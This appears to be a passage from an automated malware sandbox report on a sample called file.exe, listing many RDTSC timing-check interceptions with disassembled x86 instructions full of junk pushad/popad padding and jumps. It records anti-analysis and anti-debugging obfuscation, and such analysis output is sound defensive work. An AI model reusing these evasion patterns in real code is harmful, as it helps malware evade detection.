Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480802 second address: 480812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 pushad 0x00000008 jg 00007F15447FC6A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480812 second address: 48081E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48094B second address: 480977 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F15447FC6A6h 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jne 00007F15447FC6A6h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007F15447FC6ABh 0x0000001c push eax 0x0000001d push edx 0x0000001e jng 00007F15447FC6A6h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4825D7 second address: 4825E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482488 second address: 48248E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48248E second address: 482493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482493 second address: 4824A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15447FC6ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4824A4 second address: 4824C6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1544B5F471h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486406 second address: 486410 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F15447FC6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486649 second address: 48666A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F1544B5F475h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48666A second address: 486677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F15447FC6A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486677 second address: 48667B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486760 second address: 486764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486764 second address: 486768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486768 second address: 48676E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48676E second address: 486775 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 486775 second address: 4867D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 js 00007F15447FC6BFh 0x0000000e jmp 00007F15447FC6B9h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 jng 00007F15447FC6B3h 0x0000001d jmp 00007F15447FC6ADh 0x00000022 mov eax, dword ptr [eax] 0x00000024 pushad 0x00000025 push eax 0x00000026 pushad 0x00000027 popad 0x00000028 pop eax 0x00000029 pushad 0x0000002a push ecx 0x0000002b pop ecx 0x0000002c push edi 0x0000002d pop edi 0x0000002e popad 0x0000002f popad 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F15447FC6ABh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4867D2 second address: 4867D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A70329 second address: 4A7032F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03A3 second address: 4AA03B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 65h 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03B3 second address: 4AA03B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03B7 second address: 4AA03E7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1544B5F476h 0x00000008 or esi, 63C9A058h 0x0000000e jmp 00007F1544B5F46Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA03E7 second address: 4AA0462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F15447FC6B4h 0x00000009 pop eax 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e mov ebx, esi 0x00000010 mov dx, si 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F15447FC6B2h 0x0000001c sub ah, 00000018h 0x0000001f jmp 00007F15447FC6ABh 0x00000024 popfd 0x00000025 pushfd 0x00000026 jmp 00007F15447FC6B8h 0x0000002b sbb esi, 7BD74F78h 0x00000031 jmp 00007F15447FC6ABh 0x00000036 popfd 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0462 second address: 4AA047D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA047D second address: 4AA0495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15447FC6B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0495 second address: 4AA04B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F1544B5F46Ch 0x0000000e mov dword ptr [esp], ecx 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA04B3 second address: 4AA04F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F15447FC6B0h 0x00000011 jmp 00007F15447FC6B5h 0x00000016 popfd 0x00000017 mov cx, AF37h 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov edx, eax 0x00000022 mov cx, 2141h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA04F5 second address: 4AA0525 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1544B5F470h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0525 second address: 4AA0534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0534 second address: 4AA055E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov di, 29A6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d lea eax, dword ptr [ebp-04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1544B5F478h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA055E second address: 4AA0595 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F15447FC6B6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F15447FC6AEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0595 second address: 4AA05A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1544B5F46Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA05A7 second address: 4AA05AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA067B second address: 4AA0681 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0681 second address: 4AA06B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, BC39h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F15447FC70Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 movsx edi, si 0x00000018 pushfd 0x00000019 jmp 00007F15447FC6AAh 0x0000001e or esi, 0B6CEA48h 0x00000024 jmp 00007F15447FC6ABh 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA06B7 second address: 4AA06BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA06BD second address: 4AA06C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA06D4 second address: 4AA06D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA06D8 second address: 4AA06DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA06DE second address: 4AA0703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F1544B5F471h 0x00000008 pop esi 0x00000009 mov ebx, 07B95184h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0703 second address: 4AA0707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA0707 second address: 4AA070D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA070D second address: 4A9002A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push ecx 0x0000000c mov eax, edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 pushfd 0x00000011 jmp 00007F15447FC6B3h 0x00000016 add esi, 3CC38CAEh 0x0000001c jmp 00007F15447FC6B9h 0x00000021 popfd 0x00000022 pop esi 0x00000023 popad 0x00000024 leave 0x00000025 jmp 00007F15447FC6B7h 0x0000002a retn 0004h 0x0000002d nop 0x0000002e cmp eax, 00000000h 0x00000031 setne al 0x00000034 xor ebx, ebx 0x00000036 test al, 01h 0x00000038 jne 00007F15447FC6A7h 0x0000003a xor eax, eax 0x0000003c sub esp, 08h 0x0000003f mov dword ptr [esp], 00000000h 0x00000046 mov dword ptr [esp+04h], 00000000h 0x0000004e call 00007F15490C5AE3h 0x00000053 mov edi, edi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 pushfd 0x00000059 jmp 00007F15447FC6ACh 0x0000005e add esi, 15BF29A8h 0x00000064 jmp 00007F15447FC6ABh 0x00000069 popfd 0x0000006a mov esi, 1FCAB89Fh 0x0000006f popad 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9002A second address: 4A90079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F475h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edx 0x0000000f pushfd 0x00000010 jmp 00007F1544B5F46Fh 0x00000015 or cx, 744Eh 0x0000001a jmp 00007F1544B5F479h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90079 second address: 4A90094 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90094 second address: 4A90098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90098 second address: 4A9017E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F15447FC6AFh 0x0000000c and esi, 3B361F0Eh 0x00000012 jmp 00007F15447FC6B9h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F15447FC6ACh 0x00000021 sub cx, 4588h 0x00000026 jmp 00007F15447FC6ABh 0x0000002b popfd 0x0000002c mov ecx, 61F239FFh 0x00000031 popad 0x00000032 mov ebp, esp 0x00000034 pushad 0x00000035 call 00007F15447FC6B0h 0x0000003a pushfd 0x0000003b jmp 00007F15447FC6B2h 0x00000040 add al, 00000018h 0x00000043 jmp 00007F15447FC6ABh 0x00000048 popfd 0x00000049 pop esi 0x0000004a pushfd 0x0000004b jmp 00007F15447FC6B9h 0x00000050 sub ah, FFFFFFB6h 0x00000053 jmp 00007F15447FC6B1h 0x00000058 popfd 0x00000059 popad 0x0000005a push FFFFFFFEh 0x0000005c jmp 00007F15447FC6AEh 0x00000061 push 65F2A0F3h 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F15447FC6ACh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9017E second address: 4A90190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1544B5F46Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90190 second address: 4A90249 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 10343EBBh 0x00000012 jmp 00007F15447FC6B6h 0x00000017 push 2C9C8CF5h 0x0000001c pushad 0x0000001d mov ebx, 543D5C62h 0x00000022 mov dh, DCh 0x00000024 popad 0x00000025 add dword ptr [esp], 49249E7Bh 0x0000002c pushad 0x0000002d call 00007F15447FC6B0h 0x00000032 pop eax 0x00000033 pushfd 0x00000034 jmp 00007F15447FC6B7h 0x00000039 and ax, 52BEh 0x0000003e jmp 00007F15447FC6B9h 0x00000043 popfd 0x00000044 popad 0x00000045 mov eax, dword ptr fs:[00000000h] 0x0000004b jmp 00007F15447FC6AEh 0x00000050 nop 0x00000051 pushad 0x00000052 mov si, A9CDh 0x00000056 movzx ecx, di 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F15447FC6ABh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90249 second address: 4A9026A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F1544B5F46Eh 0x0000000e sub esp, 18h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movzx eax, bx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9026A second address: 4A9027F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15447FC6B1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9027F second address: 4A9029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov cl, dh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90398 second address: 4A9039C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9039C second address: 4A903A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A903A2 second address: 4A90401 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75C74538h] 0x0000000e pushad 0x0000000f push esi 0x00000010 mov esi, edi 0x00000012 pop edx 0x00000013 push eax 0x00000014 pushfd 0x00000015 jmp 00007F15447FC6B5h 0x0000001a or ch, 00000076h 0x0000001d jmp 00007F15447FC6B1h 0x00000022 popfd 0x00000023 pop ecx 0x00000024 popad 0x00000025 xor dword ptr [ebp-08h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F15447FC6AAh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90401 second address: 4A90407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90407 second address: 4A9040B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9040B second address: 4A9040F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9040F second address: 4A90420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov cx, CA61h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9055B second address: 4A90585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1544B5F46Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90585 second address: 4A905F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007F15447FC6AEh 0x00000014 test ecx, ecx 0x00000016 pushad 0x00000017 call 00007F15447FC6AEh 0x0000001c movzx ecx, bx 0x0000001f pop edi 0x00000020 call 00007F15447FC6ACh 0x00000025 pushad 0x00000026 popad 0x00000027 pop esi 0x00000028 popad 0x00000029 jns 00007F15447FC6D9h 0x0000002f jmp 00007F15447FC6B7h 0x00000034 add eax, ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov eax, edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905F9 second address: 4A905FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A905FE second address: 4A90604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A90604 second address: 4A90628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1544B5F477h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A801C7 second address: 4A80269 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F15447FC6B6h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F15447FC6B1h 0x00000017 add cl, 00000076h 0x0000001a jmp 00007F15447FC6B1h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 call 00007F15447FC6B3h 0x00000028 mov edi, esi 0x0000002a pop esi 0x0000002b mov dx, FFC8h 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007F15447FC6ADh 0x00000039 xor eax, 2548A636h 0x0000003f jmp 00007F15447FC6B1h 0x00000044 popfd 0x00000045 mov dx, ax 0x00000048 popad 0x00000049 sub esp, 2Ch 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80269 second address: 4A8026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8026F second address: 4A80274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80274 second address: 4A8027A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8027A second address: 4A8027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8027E second address: 4A80282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80282 second address: 4A80309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F15447FC6B6h 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F15447FC6B7h 0x00000016 movzx esi, bx 0x00000019 popad 0x0000001a pushfd 0x0000001b jmp 00007F15447FC6B5h 0x00000020 and ah, 00000006h 0x00000023 jmp 00007F15447FC6B1h 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, ebx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushfd 0x0000002f jmp 00007F15447FC6AAh 0x00000034 and cl, FFFFFFA8h 0x00000037 jmp 00007F15447FC6ABh 0x0000003c popfd 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A80309 second address: 4A8035D instructions: 0x00000000 rdtsc 0x00000002 mov esi, 3F32229Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F1544B5F474h 0x0000000f jmp 00007F1544B5F475h 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, edi 0x00000017 pushad 0x00000018 mov eax, 27084913h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1544B5F476h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8035D second address: 4A8037B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
